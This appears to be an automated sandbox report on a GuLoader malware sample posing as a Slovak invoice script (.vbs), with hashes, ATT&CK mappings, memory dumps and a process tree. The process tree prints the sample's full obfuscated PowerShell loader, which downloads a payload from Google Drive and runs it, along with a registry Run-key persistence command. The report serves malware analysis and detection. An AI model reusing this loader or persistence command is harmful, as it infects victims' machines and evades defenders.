guloader | f26dc7069c57ff58f49105f7b6df0e9e467bde973a9eac5f5abc75511f83a825

General

Target

Faktúra PMC 180222SK24 & #160222SK71.vbs
Size

9KB
MD5

c274599f81b62b991e411bfc33a61452
SHA1

fc82a711944cf2d8928ebefca07686901c39b9b2
SHA256

f26dc7069c57ff58f49105f7b6df0e9e467bde973a9eac5f5abc75511f83a825
SHA512

c5627bd8f9230099d2b5255c43e5e80e81d1dcce65e64f61f4250ec27a5db17eb341f3ba8221aa268c6f9cbc9c2b49d6d06d1762967a0e77dbc95e519520f961
SSDEEP

192:JtgQv8hyRUSN1dXbZj2nst2DhkVWfk3y6aRYlKoQgMWXcMJN:vnv8Mh1dXIsuk0Gy6aR7XWXcW

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1603059206-2004189698-4139800220-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Fore% -w 1 $Bintjeka=(Get-ItemProperty -Path 'HKCU:\\Iridoto\\').Whicks;%Fore% ($Bintjeka)"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com
11	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1772	wab.exe
1772	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2776	powershell.exe
1772	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2776 set thread context of 1772	2776	powershell.exe	34

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1252	reg.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2860	powershell.exe
2776	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2060 wrote to memory of 2860	2060	WScript.exe	28
PID 2060 wrote to memory of 2860	2060	WScript.exe	28
PID 2060 wrote to memory of 2860	2060	WScript.exe	28
PID 2860 wrote to memory of 2776	2860	powershell.exe	31
PID 2860 wrote to memory of 2776	2860	powershell.exe	31
PID 2860 wrote to memory of 2776	2860	powershell.exe	31
PID 2860 wrote to memory of 2776	2860	powershell.exe	31
PID 2776 wrote to memory of 1772	2776	powershell.exe	34
PID 2776 wrote to memory of 1772	2776	powershell.exe	34
PID 2776 wrote to memory of 1772	2776	powershell.exe	34
PID 2776 wrote to memory of 1772	2776	powershell.exe	34
PID 2776 wrote to memory of 1772	2776	powershell.exe	34
PID 2776 wrote to memory of 1772	2776	powershell.exe	34
PID 1772 wrote to memory of 1956	1772	wab.exe	35
PID 1772 wrote to memory of 1956	1772	wab.exe	35
PID 1772 wrote to memory of 1956	1772	wab.exe	35
PID 1772 wrote to memory of 1956	1772	wab.exe	35
PID 1956 wrote to memory of 1252	1956	cmd.exe	37
PID 1956 wrote to memory of 1252	1956	cmd.exe	37
PID 1956 wrote to memory of 1252	1956	cmd.exe	37
PID 1956 wrote to memory of 1252	1956	cmd.exe	37

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Faktúra PMC 180222SK24 & #160222SK71.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Lysaare='Recipr:\Futiliz';Set-Content $Lysaare 'Krick';$Tommels=Test-Path $Lysaare;if($Tommels){exit};function Accommodab9 ($Vrisse){For($Opslutni=4; $Opslutni -lt $Vrisse.Length-1; $Opslutni+=5){$Pister=$Pister+$Vrisse.'Substring'($Opslutni, 1)};$Pister;}$Unvent=Accommodab9 'antehVanetLaketpigepSigbsSeri:Adon/Sags/protd fyrrHetei frivFutue Fje.Biphg halo BefoPrecg danl aaseOrth.Corpc OveoUnsumunte/KolbubillcMime? CapeForkxEftep Uddo UncrSupetDeco=PeppdEtymoAuxiw MisnImbelStamoGypsaBesldTing& Uniiformd Sub= Unc1 Non2PalatBandYFyldKNedrPInfr6EgilLSatuO Rad2BestpNejsXMemb5 OtiRStamXAttedIncrS ConvItal3CathuStyrcefteF Mag9ChamnKaraZTrisVTrvloBelim JakDUdva5 ModOLaurd pom7Sama ';$Pister01=Accommodab9 'Latei SeieOmegxPris ';$Appletstue = Accommodab9 ' Afs\SabesPriny RonsOpdawBetio DekwOmgj6Dipl4Joro\ IndWIrreiGastnCompdAutooLaasw VissEvanP SpeoBeblw Pede FolrTheiS ProhunrieVisil Timl Lng\Aposv Boo1 Pen.Sepa0Musi\Chasp CrioEnanwBrneeSiturEklisAuthhMandeDrenl Uprl For. KaleFormxkonsealmu ';&($Pister01) (Accommodab9 'Hear$heriRAllueArbecinteiGrewpNougr Acc2Unde=Seri$ZooseTrannArbevArch:ScenwHippi KarnOverdNibei UdlrMarb ') ;&($Pister01) (Accommodab9 'Recu$GensATaglp Ovep HaalDesteSmaatFagosSalvtEarhu StieKokk= Uns$PuerRTemieStaac BayiUdfopDirerDisk2 Skr+Tour$HaabALovmpArkipethilyarbeSupet FifsTilltPantuTypeeChol ') ;&($Pister01) (Accommodab9 'Jger$BuntaUnfrr GrntunluiMegalUdbalFors Conc=Brnd Cras(Haar(Sumpg Impw KatmTouriFres Ejerw GruiIdennolym3Leuc2Hagg_PlappBeskrSlamo KvacKookeeluts MagsDebu Ant-ErigFUdlb OpsoP Chir SquoDucecTyveeDisssAlfosTotaIExamdThur= Pro$Glaz{baigPLudeIForeDFort}Rava)Mrke.esprCTryko VenmTropm BomaStrin TotdShalL Occi casnKvajeRipp)cycl Chon-KanasSkafpSkaml SkoiInextSkra Trou[DishcOarihScria Loarnedr]Sprj3kata4bris ');&($Pister01) (Accommodab9 'Over$GenoSBegapSamgoCapcrUnarv ShieJacojSpagsKont Sna=Unco Kult$RetiaSelvrVitit NoaiOverlEcstlStaf[Flam$ expaTredrHebrtChani UdklBombl Bes.Gitoc SteointeuImminRudetTran-Bluf2Dobb]Unpu ');&($Pister01) (Accommodab9 ' Lng$ArbeMOmbraTrykr Revg Evaische=Forh(BrynTUnsueEndosAnelt Mud-TeutPSiphaKladtPreihasyl Leth$DemoAPistpKassp Sepl ForeGermtTretsMicrt AduudomeeOgen)Bath Diop-TillAOvernBaptdFags Gene(Coen[ForsIInexnWhattjyttP NontAkkorindf] Sko:kseb:CorrsOptaiRkerzBuddeLati Nays-RadieKejsqEnke Stau8Isog)gard ') ;if ($Margi) {&$Appletstue $Sporvejs;} else {;$Pister00=Accommodab9 'NonsSudstt PoeaTrumrDesctBesp-CocrBSpumi MestIteasStokTFundrAppoaVitrnKontsRaynfAnureInvorDepe Drej-KiltS Aero ReduKeybrSjlecPredeRemi Reda$StepU Iron UmuvLysieHetenUldetStor Tra- GraDPleneChorsNatbtTraviSlannIntuaMorptisomi NesoSekunSejl Nova$ OrtRManneUnascCilai Pitp blarModa2Diph ';&($Pister01) (Accommodab9 'Achi$FredRVordeSymmcAlmiiLevepinderUrta2Dive=Leje$LedseMercnLedivStor:Bulba SempHrbapFritdpaupaKimotAmpha una ') ;&($Pister01) (Accommodab9 'UnneISydsmOkkepKvlloForbrUnhut Bea-KamiMYounoTracdFlesugtehlRealeNonr SeniBGnaviLovet buzsNettTSivnrAbsoaJndmnVikasFormfUndeeEpidrLder ') ;$Recipr2=$Recipr2+'\Reagicrhe.Rut';while (-not $Laasemeka) {&($Pister01) (Accommodab9 ' Din$ EksLudviaAnekaFreds ChaeImpam AnteVejgkleasaTint= Sno(SpriT Stre JossArbetDith-ressPAfreaAttrtcisthWell Bast$SlhuRharmeantacKnipiTruspFrigrSomn2Wess) Unf ') ;&($Pister01) $Pister00;&($Pister01) (Accommodab9 'UnstSChint DilaDentr EnctPhil-TidsSLrealUngle GlueNavepOrdb Bese5Glit ');}&($Pister01) (Accommodab9 'alky$EmboAMinicForscAfhjo ThemKronmStenoPanndFortascrabAcro For=Fors GalaGBrioeBarntnonv-SubcCImpuo DisnVejstSangeSparnKonttSoot Glas$EyebR PleePermcAdrei AnnpGnavrPedo2Bran ');&($Pister01) (Accommodab9 'Cate$UnfeSBladvEggpaTripmLagepParteMangk DagoInds Cumu=Squi Ungi[ borSStvryMuntsMiratHilseUnpam Gly.SammCOrieo BevnChamvUngde BevrNonstVold]Eliq:Seks:CharFOverrBidsoPalimLeafBFlleaSweesTreneSill6rsti4SletSNyret Forr hypi LegnSeorgFlin(Hast$FremABlodcPsyccSprooCachmPambm KlroAfled UncaVenebPlis)Slge ');&($Pister01) (Accommodab9 'Ceto$CellP TraiMexisXerotOffeeNontrMagn2Club Nyin=Disa Sand[ImusS UntyStres PoltStikeTuftmRica.StyrTvkkeeDespxUdsmt Taa.AlfaEUdskn JakcIneaoteeldgrioilordnHandgLeis]Unnu:fors: BriA IntSUnexCFingIDydsIOmga. AsyGIndheKorttSdebSSlastOverrCeltiemulnBoilgNonc(Cath$LizaSOvervOrgaaTrykmfrikpDepoeGrankTongolill)cont ');&($Pister01) (Accommodab9 ' Par$BortwSprohFodsiGenigslav= The$RokePCompiDevesTekstEroteKassrWild2 Til.BversGeneuLegebOversvolutSkilrAnegi CrynNitrg Whe(Pseu3Juan1Reds9 Bur6 Udb6acan1Last, Kde2 Ost7gran6 Lib5Marq7Renl)Skam ');&($Pister01) $whig;}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Lysaare='Recipr:\Futiliz';Set-Content $Lysaare 'Krick';$Tommels=Test-Path $Lysaare;if($Tommels){exit};function Accommodab9 ($Vrisse){For($Opslutni=4; $Opslutni -lt $Vrisse.Length-1; $Opslutni+=5){$Pister=$Pister+$Vrisse.'Substring'($Opslutni, 1)};$Pister;}$Unvent=Accommodab9 'antehVanetLaketpigepSigbsSeri:Adon/Sags/protd fyrrHetei frivFutue Fje.Biphg halo BefoPrecg danl aaseOrth.Corpc OveoUnsumunte/KolbubillcMime? CapeForkxEftep Uddo UncrSupetDeco=PeppdEtymoAuxiw MisnImbelStamoGypsaBesldTing& Uniiformd Sub= Unc1 Non2PalatBandYFyldKNedrPInfr6EgilLSatuO Rad2BestpNejsXMemb5 OtiRStamXAttedIncrS ConvItal3CathuStyrcefteF Mag9ChamnKaraZTrisVTrvloBelim JakDUdva5 ModOLaurd pom7Sama ';$Pister01=Accommodab9 'Latei SeieOmegxPris ';$Appletstue = Accommodab9 ' Afs\SabesPriny RonsOpdawBetio DekwOmgj6Dipl4Joro\ IndWIrreiGastnCompdAutooLaasw VissEvanP SpeoBeblw Pede FolrTheiS ProhunrieVisil Timl Lng\Aposv Boo1 Pen.Sepa0Musi\Chasp CrioEnanwBrneeSiturEklisAuthhMandeDrenl Uprl For. KaleFormxkonsealmu ';&($Pister01) (Accommodab9 'Hear$heriRAllueArbecinteiGrewpNougr Acc2Unde=Seri$ZooseTrannArbevArch:ScenwHippi KarnOverdNibei UdlrMarb ') ;&($Pister01) (Accommodab9 'Recu$GensATaglp Ovep HaalDesteSmaatFagosSalvtEarhu StieKokk= Uns$PuerRTemieStaac BayiUdfopDirerDisk2 Skr+Tour$HaabALovmpArkipethilyarbeSupet FifsTilltPantuTypeeChol ') ;&($Pister01) (Accommodab9 'Jger$BuntaUnfrr GrntunluiMegalUdbalFors Conc=Brnd Cras(Haar(Sumpg Impw KatmTouriFres Ejerw GruiIdennolym3Leuc2Hagg_PlappBeskrSlamo KvacKookeeluts MagsDebu Ant-ErigFUdlb OpsoP Chir SquoDucecTyveeDisssAlfosTotaIExamdThur= Pro$Glaz{baigPLudeIForeDFort}Rava)Mrke.esprCTryko VenmTropm BomaStrin TotdShalL Occi casnKvajeRipp)cycl Chon-KanasSkafpSkaml SkoiInextSkra Trou[DishcOarihScria Loarnedr]Sprj3kata4bris ');&($Pister01) (Accommodab9 'Over$GenoSBegapSamgoCapcrUnarv ShieJacojSpagsKont Sna=Unco Kult$RetiaSelvrVitit NoaiOverlEcstlStaf[Flam$ expaTredrHebrtChani UdklBombl Bes.Gitoc SteointeuImminRudetTran-Bluf2Dobb]Unpu ');&($Pister01) (Accommodab9 ' Lng$ArbeMOmbraTrykr Revg Evaische=Forh(BrynTUnsueEndosAnelt Mud-TeutPSiphaKladtPreihasyl Leth$DemoAPistpKassp Sepl ForeGermtTretsMicrt AduudomeeOgen)Bath Diop-TillAOvernBaptdFags Gene(Coen[ForsIInexnWhattjyttP NontAkkorindf] Sko:kseb:CorrsOptaiRkerzBuddeLati Nays-RadieKejsqEnke Stau8Isog)gard ') ;if ($Margi) {&$Appletstue $Sporvejs;} else {;$Pister00=Accommodab9 'NonsSudstt PoeaTrumrDesctBesp-CocrBSpumi MestIteasStokTFundrAppoaVitrnKontsRaynfAnureInvorDepe Drej-KiltS Aero ReduKeybrSjlecPredeRemi Reda$StepU Iron UmuvLysieHetenUldetStor Tra- GraDPleneChorsNatbtTraviSlannIntuaMorptisomi NesoSekunSejl Nova$ OrtRManneUnascCilai Pitp blarModa2Diph ';&($Pister01) (Accommodab9 'Achi$FredRVordeSymmcAlmiiLevepinderUrta2Dive=Leje$LedseMercnLedivStor:Bulba SempHrbapFritdpaupaKimotAmpha una ') ;&($Pister01) (Accommodab9 'UnneISydsmOkkepKvlloForbrUnhut Bea-KamiMYounoTracdFlesugtehlRealeNonr SeniBGnaviLovet buzsNettTSivnrAbsoaJndmnVikasFormfUndeeEpidrLder ') ;$Recipr2=$Recipr2+'\Reagicrhe.Rut';while (-not $Laasemeka) {&($Pister01) (Accommodab9 ' Din$ EksLudviaAnekaFreds ChaeImpam AnteVejgkleasaTint= Sno(SpriT Stre JossArbetDith-ressPAfreaAttrtcisthWell Bast$SlhuRharmeantacKnipiTruspFrigrSomn2Wess) Unf ') ;&($Pister01) $Pister00;&($Pister01) (Accommodab9 'UnstSChint DilaDentr EnctPhil-TidsSLrealUngle GlueNavepOrdb Bese5Glit ');}&($Pister01) (Accommodab9 'alky$EmboAMinicForscAfhjo ThemKronmStenoPanndFortascrabAcro For=Fors GalaGBrioeBarntnonv-SubcCImpuo DisnVejstSangeSparnKonttSoot Glas$EyebR PleePermcAdrei AnnpGnavrPedo2Bran ');&($Pister01) (Accommodab9 'Cate$UnfeSBladvEggpaTripmLagepParteMangk DagoInds Cumu=Squi Ungi[ borSStvryMuntsMiratHilseUnpam Gly.SammCOrieo BevnChamvUngde BevrNonstVold]Eliq:Seks:CharFOverrBidsoPalimLeafBFlleaSweesTreneSill6rsti4SletSNyret Forr hypi LegnSeorgFlin(Hast$FremABlodcPsyccSprooCachmPambm KlroAfled UncaVenebPlis)Slge ');&($Pister01) (Accommodab9 'Ceto$CellP TraiMexisXerotOffeeNontrMagn2Club Nyin=Disa Sand[ImusS UntyStres PoltStikeTuftmRica.StyrTvkkeeDespxUdsmt Taa.AlfaEUdskn JakcIneaoteeldgrioilordnHandgLeis]Unnu:fors: BriA IntSUnexCFingIDydsIOmga. AsyGIndheKorttSdebSSlastOverrCeltiemulnBoilgNonc(Cath$LizaSOvervOrgaaTrykmfrikpDepoeGrankTongolill)cont ');&($Pister01) (Accommodab9 ' Par$BortwSprohFodsiGenigslav= The$RokePCompiDevesTekstEroteKassrWild2 Til.BversGeneuLegebOversvolutSkilrAnegi CrynNitrg Whe(Pseu3Juan1Reds9 Bur6 Udb6acan1Last, Kde2 Ost7gran6 Lib5Marq7Renl)Skam ');&($Pister01) $whig;}"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2776
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of WriteProcessMemory
      PID:1772
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Fore% -w 1 $Bintjeka=(Get-ItemProperty -Path 'HKCU:\Iridoto\').Whicks;%Fore% ($Bintjeka)"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1956
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Fore% -w 1 $Bintjeka=(Get-ItemProperty -Path 'HKCU:\Iridoto\').Whicks;%Fore% ($Bintjeka)"
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:1252

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e55c45386be827dda9bee7ffab6fc1fb

SHA1
45740f43bc84bd2cd39c2684bd1eaf07c5e89082

SHA256
51b4d9d5291f54afd6554f78753b9572e7030498663ee1df381863b5a01c8184

SHA512
21e28e7a0259ce4f2917320ec661ca272ae84f36afa5dde563681ab3bab454a12c737b2238d02bc8cf8cd3c87a5c5e3e84bcb2180ec9ab1320eb17e2734e6463

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab1E69.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1FMPI4DV4R3AW31JRFF8.temp

Filesize
7KB

MD5
799e73242120f74f804255d5619585c6

SHA1
513b0519d3e0086337653546ea8a0964a36c8ada

SHA256
03f613e23671e9df45bbbff7c58e563576c334cfa1d73766227e3b67171f8181

SHA512
882efb5af566fc7da6e8109761bb755310952c8487738068b04941a21760e617a709d5fe15ab5dbfa40da9bddf7918c4ec19af0458aa7346e041d197b6698db4

Download Submit
memory/1772-43-0x0000000001400000-0x0000000002785000-memory.dmp

Filesize
19.5MB

Download
memory/1772-72-0x0000000001400000-0x0000000002785000-memory.dmp

Filesize
19.5MB

Download
memory/1772-71-0x0000000077E20000-0x0000000077EF6000-memory.dmp

Filesize
856KB

Download
memory/1772-47-0x0000000000390000-0x00000000013F2000-memory.dmp

Filesize
16.4MB

Download
memory/1772-46-0x0000000077E20000-0x0000000077EF6000-memory.dmp

Filesize
856KB

Download
memory/1772-45-0x0000000077E56000-0x0000000077E57000-memory.dmp

Filesize
4KB

Download
memory/1772-44-0x0000000077C30000-0x0000000077DD9000-memory.dmp

Filesize
1.7MB

Download
memory/2776-14-0x0000000002720000-0x0000000002760000-memory.dmp

Filesize
256KB

Download
memory/2776-41-0x0000000077E20000-0x0000000077EF6000-memory.dmp

Filesize
856KB

Download
memory/2776-74-0x0000000006390000-0x0000000007715000-memory.dmp

Filesize
19.5MB

Download
memory/2776-73-0x0000000073C70000-0x000000007421B000-memory.dmp

Filesize
5.7MB

Download
memory/2776-13-0x0000000073C70000-0x000000007421B000-memory.dmp

Filesize
5.7MB

Download
memory/2776-15-0x0000000073C70000-0x000000007421B000-memory.dmp

Filesize
5.7MB

Download
memory/2776-42-0x0000000006390000-0x0000000007715000-memory.dmp

Filesize
19.5MB

Download
memory/2776-31-0x0000000073C70000-0x000000007421B000-memory.dmp

Filesize
5.7MB

Download
memory/2776-32-0x0000000002720000-0x0000000002760000-memory.dmp

Filesize
256KB

Download
memory/2776-33-0x0000000073C70000-0x000000007421B000-memory.dmp

Filesize
5.7MB

Download
memory/2776-34-0x0000000005140000-0x0000000005141000-memory.dmp

Filesize
4KB

Download
memory/2776-35-0x0000000006390000-0x0000000007715000-memory.dmp

Filesize
19.5MB

Download
memory/2776-36-0x0000000002720000-0x0000000002760000-memory.dmp

Filesize
256KB

Download
memory/2776-37-0x0000000006390000-0x0000000007715000-memory.dmp

Filesize
19.5MB

Download
memory/2776-40-0x0000000077C30000-0x0000000077DD9000-memory.dmp

Filesize
1.7MB

Download
memory/2776-16-0x0000000002720000-0x0000000002760000-memory.dmp

Filesize
256KB

Download
memory/2860-8-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-29-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-4-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/2860-28-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-10-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-9-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-30-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-7-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-6-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-5-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2860-27-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2860-26-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download
memory/2860-75-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads